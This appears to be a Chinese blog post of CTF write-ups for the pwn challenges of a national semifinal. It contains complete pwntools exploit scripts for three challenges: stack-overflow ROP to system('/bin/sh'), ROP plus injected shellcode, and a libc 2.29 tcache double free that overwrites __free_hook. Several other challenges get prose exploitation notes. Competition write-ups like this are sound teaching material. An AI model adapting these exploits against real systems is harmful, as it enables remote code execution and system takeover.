线下半决赛
国赛华北赛区半决赛pwn部分的wp,大部分的题目都不是很难,这里把做出来的题的wp贴一下,来水一篇博客
pwn1
直接栈溢出加ROP,劫持栈到bss段上,ROP调用system getshell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def pwn():
global p
BIN_PATH = './guess'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.6',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006a2
b *0x4006DA
set follow-fork-mode parent
''')
ru(' number.')
# sl('a'*(0x30-0x4)+p64(0x41348000)+'a'*0x100)
target = 0x601100+0x400
p_rdi_r = 0x0000000000400793
p_rsi_r15_r = 0x0000000000400791
leave_r = 0x4006DA
gets_plt = 0x400550
system_plt = 0x400530
# system_plt = 0x4006C8
payload = 'a'*(0x30-0x4)+p32(0x41348000)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
# payload = 'a'*(0x30-0x4)+p32(0xdeadbeef)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
payload += p64(leave_r)
sl(payload)
raw_input('ssss')
payload = p64(0xdeadbeef)+p64(p_rdi_r)+p64(target+0x50)+p64(p_rsi_r15_r)+p64(0)*2+p64(system_plt)
payload = payload.ljust(0x50,'\x00')
payload += '/bin/sh\x00'
sl(payload)
p.interactive()
if __name__ == '__main__':
pwn()
pwn5
还是简单的栈溢出,存在rwx的段,第一次读入的shellcode字节数长度不够,可以在溢出的时候ROP调用gets往rwx段读入不受长度限制的shellcode,在跳转到shellcode执行即可getshell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def pwn():
global p
BIN_PATH = './pwn'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.8',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006A4
''')
p_rdi_r = 0x0000000000400713
p_rsi_r15 = 0x0000000000400711
gets_plt = 0x400510
target = 0x601080
payload = 'aaaa'
info(hex(len(payload)))
sla('name',payload)
payload = '\x00'*0x20+p64(0xdeadbeef)+p64(p_rdi_r)+p64(target)+p64(gets_plt)+p64(target)
sla('to me?',payload)
raw_input('sss')
sl(asm(shellcraft.sh()))
p.interactive()
if __name__ == '__main__':
pwn()
pwn2
这题的给的libc为2.29,有tcache,但是该版本的libc对tcache进行了double free的检测。(具体怎么检测的感兴趣的可以看一下源码)。
程序在delete的时候只是将标志字段设置为0,并没有将指针清零,而程序在delete和addMoney中,没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的key(key与money是对应的),进而就可以double free了,然后改bss上的指针就可以了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
def create(name, age):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))
def delete(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.send(str(idx))
def edit(idx, name, age):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))
def show(idx):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index:')
p.send(str(idx))
def add(idx):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Index:')
p.send(str(idx))
def buy(idx, addr, l):
p.recvuntil('Your choice: ')
p.sendline('6')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('leak:')
p.sendline(str(addr))
p.recvuntil('leak:')
p.sendline(str(l))
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./pwn')
else:
p = remote(ip, port)
libc = ELF("./libc.so")
create('emmm', 10)
delete(0)
add(0)
delete(0)
create(p64(0x602060), 10)
create(p64(0x601FA8), 10)
create(p64(0x601F88), 10)
add(2)
show(0)
p.recvuntil('name: ')
libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['free']
log.info('libc addr is : ' + hex(libc.address))
edit(2, p64(libc.symbols['__free_hook']), next(libc.search('/bin/sh')))
edit(0, p64(libc.symbols['system']), 10)
delete(1)
p.interactive()
if __name__ == '__main__':
GameStart('172.1.2.7', 8888, 0)
pwn3
在创建Text类型的Note的时候,如果type不对或是size过大,程序会return,但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了,而type的值还是之前保留下来的脏数据,由此可以泄露heap地址。程序还存在UAF漏洞,这样就可以double free来改Note结构体中的函数指针为plt@system
,删除对应的Note即可getshell。
1 | from pwn import * |
pwn4
libc 2.23的off-by-one,程序没有开PIE
。可以很方便的构造堆块重叠,进而可以改在堆中的结构体,造成任意地址写(改got表、_IO_list_all
等都可以)。
1 | from pwn import * |
pwnsec-2
输入666即可泄露libc地址,程序在读取Author name:
的时候多读了8字节,刚好覆盖了下一个字段,该字段为指针,这样就能实现任意地址写了。利用任意地址写来修改stderror
结构体的vtable指针,exit触发虚表调用即可getshell
1 | from pwn import * |
pwnsec-3
逆向题,程序中存在后门,只要能够输入满足条件的数据就能执行system(/bin/sh)
1 | # coding:utf-8 |